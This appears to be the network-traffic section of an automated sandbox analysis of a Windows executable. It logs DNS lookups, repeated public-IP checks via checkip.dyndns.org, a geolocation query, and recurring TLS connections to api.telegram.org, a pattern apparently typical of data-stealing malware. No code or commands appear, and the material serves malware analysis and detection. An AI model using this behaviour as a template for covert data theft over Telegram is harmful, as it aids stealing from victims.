Jan 11, 2025 07:20:33.688028097 CET	49717	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:33.688035965 CET	443	49717	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:33.907857895 CET	443	49717	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:33.907938957 CET	443	49717	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:33.907994032 CET	49717	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:33.908468008 CET	49717	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:33.912863016 CET	49718	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:33.917700052 CET	80	49718	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:33.917819023 CET	49718	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:33.917927027 CET	49718	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:33.922905922 CET	80	49718	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:35.587040901 CET	80	49718	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:35.588376999 CET	49719	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:35.588423014 CET	443	49719	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:35.588511944 CET	49719	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:35.588803053 CET	49719	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:35.588814020 CET	443	49719	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:35.627773046 CET	49718	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:36.192302942 CET	443	49719	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:36.194046974 CET	49719	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:36.194078922 CET	443	49719	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:36.194137096 CET	49719	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:36.194142103 CET	443	49719	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:36.397563934 CET	443	49719	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:36.397645950 CET	443	49719	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:36.397716045 CET	49719	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:36.398158073 CET	49719	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:36.401041031 CET	49718	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:36.402170897 CET	49720	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:36.406038046 CET	80	49718	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:36.406116962 CET	49718	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:36.407046080 CET	80	49720	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:36.407200098 CET	49720	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:36.407249928 CET	49720	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:36.412075996 CET	80	49720	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:37.080285072 CET	80	49720	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:37.081442118 CET	49721	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:37.081475019 CET	443	49721	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:37.081537008 CET	49721	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:37.081788063 CET	49721	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:37.081804037 CET	443	49721	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:37.127763033 CET	49720	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:37.705590010 CET	443	49721	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:37.707197905 CET	49721	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:37.707222939 CET	443	49721	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:37.707279921 CET	49721	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:37.707288027 CET	443	49721	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:37.992424965 CET	443	49721	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:37.992631912 CET	443	49721	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:37.992702961 CET	49721	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:37.992979050 CET	49721	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:37.996040106 CET	49720	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:37.996603966 CET	49722	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:38.001643896 CET	80	49720	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:38.001692057 CET	80	49722	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:38.001710892 CET	49720	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:38.001766920 CET	49722	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:38.001841068 CET	49722	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:38.006678104 CET	80	49722	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:38.674196959 CET	80	49722	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:38.675430059 CET	49723	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:38.675489902 CET	443	49723	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:38.675558090 CET	49723	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:38.675792933 CET	49723	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:38.675815105 CET	443	49723	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:38.721518993 CET	49722	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:39.292253971 CET	443	49723	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:39.293708086 CET	49723	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:39.293749094 CET	443	49723	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:39.293808937 CET	49723	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:39.293818951 CET	443	49723	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:39.599975109 CET	443	49723	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:39.600044966 CET	443	49723	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:39.600110054 CET	49723	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:39.600521088 CET	49723	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:39.603507996 CET	49722	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:39.604110003 CET	49724	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:39.608519077 CET	80	49722	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:39.608588934 CET	49722	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:39.608939886 CET	80	49724	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:39.608998060 CET	49724	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:39.609081030 CET	49724	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:39.613905907 CET	80	49724	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:40.295941114 CET	80	49724	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:40.297725916 CET	49725	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:40.297784090 CET	443	49725	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:40.297940969 CET	49725	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:40.298413038 CET	49725	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:40.298427105 CET	443	49725	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:40.346481085 CET	49724	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:40.940259933 CET	443	49725	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:40.941936016 CET	49725	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:40.941958904 CET	443	49725	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:40.941998005 CET	49725	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:40.942006111 CET	443	49725	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:41.250464916 CET	443	49725	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:41.250552893 CET	443	49725	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:41.250713110 CET	49725	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:41.251342058 CET	49725	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:41.254499912 CET	49724	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:41.255822897 CET	49726	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:41.259442091 CET	80	49724	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:41.259505033 CET	49724	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:41.260596991 CET	80	49726	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:41.260663986 CET	49726	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:41.260770082 CET	49726	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:41.265547037 CET	80	49726	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:41.940922976 CET	80	49726	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:41.987143993 CET	49726	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:44.422343969 CET	49727	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:44.422415018 CET	443	49727	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:44.422472954 CET	49727	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:44.422718048 CET	49727	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:44.422734022 CET	443	49727	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:45.050636053 CET	443	49727	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:45.052237988 CET	49727	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:45.052263975 CET	443	49727	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:45.052323103 CET	49727	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:45.052328110 CET	443	49727	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:45.361064911 CET	443	49727	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:45.361157894 CET	443	49727	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:45.361216068 CET	49727	443	192.168.2.9	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:20:00.630072117 CET	59630	53	192.168.2.9	1.1.1.1
Jan 11, 2025 07:20:00.637142897 CET	53	59630	1.1.1.1	192.168.2.9
Jan 11, 2025 07:20:01.732357025 CET	61054	53	192.168.2.9	1.1.1.1
Jan 11, 2025 07:20:01.739254951 CET	53	61054	1.1.1.1	192.168.2.9
Jan 11, 2025 07:20:05.204962015 CET	54452	53	192.168.2.9	1.1.1.1
Jan 11, 2025 07:20:05.211642981 CET	53	54452	1.1.1.1	192.168.2.9
Jan 11, 2025 07:20:15.859863043 CET	51717	53	192.168.2.9	1.1.1.1
Jan 11, 2025 07:20:15.867202044 CET	53	51717	1.1.1.1	192.168.2.9
Jan 11, 2025 07:20:27.699206114 CET	58198	53	192.168.2.9	1.1.1.1
Jan 11, 2025 07:20:27.705984116 CET	53	58198	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:20:00.630072117 CET	192.168.2.9	1.1.1.1	0xe83d	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:01.732357025 CET	192.168.2.9	1.1.1.1	0x662d	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:05.204962015 CET	192.168.2.9	1.1.1.1	0xca82	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:15.859863043 CET	192.168.2.9	1.1.1.1	0x10ec	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:27.699206114 CET	192.168.2.9	1.1.1.1	0xd51d	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:20:00.637142897 CET	1.1.1.1	192.168.2.9	0xe83d	No error (0)	drive.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:01.739254951 CET	1.1.1.1	192.168.2.9	0x662d	No error (0)	drive.usercontent.google.com		216.58.206.65	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:05.211642981 CET	1.1.1.1	192.168.2.9	0xca82	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:20:05.211642981 CET	1.1.1.1	192.168.2.9	0xca82	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:05.211642981 CET	1.1.1.1	192.168.2.9	0xca82	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:05.211642981 CET	1.1.1.1	192.168.2.9	0xca82	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:05.211642981 CET	1.1.1.1	192.168.2.9	0xca82	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:05.211642981 CET	1.1.1.1	192.168.2.9	0xca82	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:15.867202044 CET	1.1.1.1	192.168.2.9	0x10ec	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:15.867202044 CET	1.1.1.1	192.168.2.9	0x10ec	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:15.867202044 CET	1.1.1.1	192.168.2.9	0x10ec	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:15.867202044 CET	1.1.1.1	192.168.2.9	0x10ec	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:15.867202044 CET	1.1.1.1	192.168.2.9	0x10ec	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:15.867202044 CET	1.1.1.1	192.168.2.9	0x10ec	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:15.867202044 CET	1.1.1.1	192.168.2.9	0x10ec	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:27.705984116 CET	1.1.1.1	192.168.2.9	0xd51d	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49711	132.226.247.73	80	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:20:05.220906019 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:20:13.844959021 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:20:13 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 11, 2025 07:20:13.853431940 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 07:20:15.587677002 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:20:15 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 11, 2025 07:20:21.929239988 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 07:20:25.141398907 CET	697	IN	HTTP/1.1 504 Gateway Time-out Date: Sat, 11 Jan 2025 06:20:25 GMT Content-Type: text/html Content-Length: 557 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED] Data Ascii: <html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Jan 11, 2025 07:20:25.479232073 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 07:20:27.692233086 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:20:27 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49714	132.226.247.73	80	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:20:28.699321032 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 07:20:31.370702028 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:20:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49716	132.226.247.73	80	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:20:32.362955093 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 07:20:33.056241989 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:20:32 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49718	132.226.247.73	80	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:20:33.917927027 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:20:35.587040901 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:20:35 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49720	132.226.247.73	80	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:20:36.407249928 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:20:37.080285072 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:20:36 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49722	132.226.247.73	80	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:20:38.001841068 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:20:38.674196959 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:20:38 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49724	132.226.247.73	80	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:20:39.609081030 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:20:40.295941114 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:20:40 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49726	132.226.247.73	80	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:20:41.260770082 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
